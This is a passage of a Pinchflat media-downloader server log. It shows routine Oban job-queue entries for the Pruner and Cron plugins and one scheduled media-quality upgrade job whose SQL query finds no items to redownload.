{"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:00.285 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:14:17.881 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:47.883 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:00.286 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:15:17.885 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:47.887 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:00.287 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:16:17.889 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:47.891 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:00.288 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:17:17.893 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:47.895 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:00.289 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:18:17.897 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:47.899 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:00.290 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:19:17.901 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:47.903 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:00.291 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:20:17.906 [info] {"source":"oban","duration":1894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:47.908 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:00.292 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:21:17.910 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:47.912 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:00.293 [info] {"source":"oban","duration":210,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:22:17.914 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:47.916 [info] {"source":"oban","duration":1748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:00.294 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:23:17.918 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:47.920 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:00.295 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:24:17.922 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:47.924 [info] {"source":"oban","duration":1138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:00.296 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:25:17.926 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:47.928 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:00.297 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:26:17.930 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:47.932 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:00.298 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:27:17.934 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:47.936 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:00.299 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:28:17.938 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:47.939 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:00.300 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:29:17.942 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:47.944 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:00.301 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:30:17.946 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:47.948 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:00.302 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:31:17.950 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:47.952 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:00.303 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:32:17.954 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:47.956 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:00.304 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:33:17.958 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:47.960 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:00.305 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:34:17.962 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:47.964 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:00.306 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:35:17.966 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:47.968 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:00.307 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:36:17.970 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:47.972 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:00.308 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:37:17.974 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:47.976 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:00.309 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:38:17.978 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:47.980 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:00.310 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:39:17.982 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:47.984 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:00.311 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:40:17.985 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:47.988 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:00.312 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:41:17.990 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:47.992 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:00.313 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:42:17.994 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:47.996 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:00.314 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:43:17.998 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:48.000 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:00.315 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:44:18.002 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:48.004 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:00.316 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:45:18.006 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:48.008 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:00.317 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:46:18.010 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:48.012 [info] {"source":"oban","duration":1098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:00.318 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:47:18.014 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:48.016 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:00.319 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:48:18.018 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:48.020 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:00.320 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:49:18.022 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:48.024 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:00.321 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:50:18.026 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:48.028 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:00.322 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:51:18.030 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:48.032 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:00.323 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:52:18.034 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:48.036 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:00.324 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:53:18.038 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:48.040 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:00.325 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:54:18.042 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:48.044 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:00.326 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:55:18.046 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:48.048 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:00.327 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:56:18.050 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:48.052 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:00.328 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:57:18.054 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:48.056 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:00.329 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:58:18.058 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:48.060 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:00.330 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:59:18.062 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:48.064 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:00.345 [info] {"source":"oban","duration":14634,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[2615]} 19:00:00.372 [info] {"args":{},"id":2615,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"system_time":1765504800371866483,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:00:00.376 [debug] QUERY OK source="media_items" db=3.6ms idle=1201.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((NOT (m0."media_filepath" IS NULL) AND NOT (m0."prevent_download" = 1)) AND NOT (NOT (m0."media_redownloaded_at" IS NULL))) AND IFNULL(redownload_delay_days, 0) > 0 AND DATE('now', '-' || redownload_delay_days || ' day') > DATE(uploaded_at) AND DATE(media_downloaded_at, '-' || redownload_delay_days || ' day') < DATE(uploaded_at) ) [] 19:00:00.376 [info] Redownloading 0 media items 19:00:00.385 [info] {"args":{},"id":2615,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","duration":4823,"event":"job:stop","queue_time":338990,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:00:18.066 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:48.068 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:00.346 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:01:18.070 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:48.072 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:00.347 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:02:18.074 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:48.076 [info] {"source":"oban","duration":906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:00.348 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:03:18.078 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:48.080 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:00.349 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:04:18.083 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:48.085 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:00.350 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:05:18.087 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:48.089 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:00.351 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:06:18.091 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:48.093 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:00.352 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:07:18.095 [info] {"source":"oban","duration":1111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:48.097 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:00.353 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:08:18.099 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:48.101 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:00.354 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:09:18.103 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:48.105 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:00.355 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:10:18.107 [info] {"source":"oban","duration":1029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:48.109 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:00.356 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:11:18.110 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:48.113 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:00.357 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:12:18.115 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:48.117 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:00.358 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:13:18.119 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:48.121 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:00.359 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:14:18.123 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:48.125 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:00.360 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:15:18.127 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:48.129 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:00.361 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:16:18.131 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:48.133 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:00.362 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:17:18.135 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:48.137 [info] {"source":"oban","duration":1153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:00.363 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:18:18.139 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:48.141 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:00.364 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:19:18.143 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:48.145 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:00.365 [info] {"source":"oban","duration":224,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:20:18.147 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:48.149 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:00.366 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:21:18.151 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:48.153 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:00.367 [info] {"source":"oban","duration":214,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:22:18.155 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:48.157 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:00.368 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:23:18.159 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:48.161 [info] {"source":"oban","duration":1069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:00.369 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:24:18.163 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:48.165 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:00.370 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:25:18.167 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:48.169 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:00.371 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:26:18.171 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:48.172 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:00.372 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:27:18.175 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:48.177 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:00.373 [info] 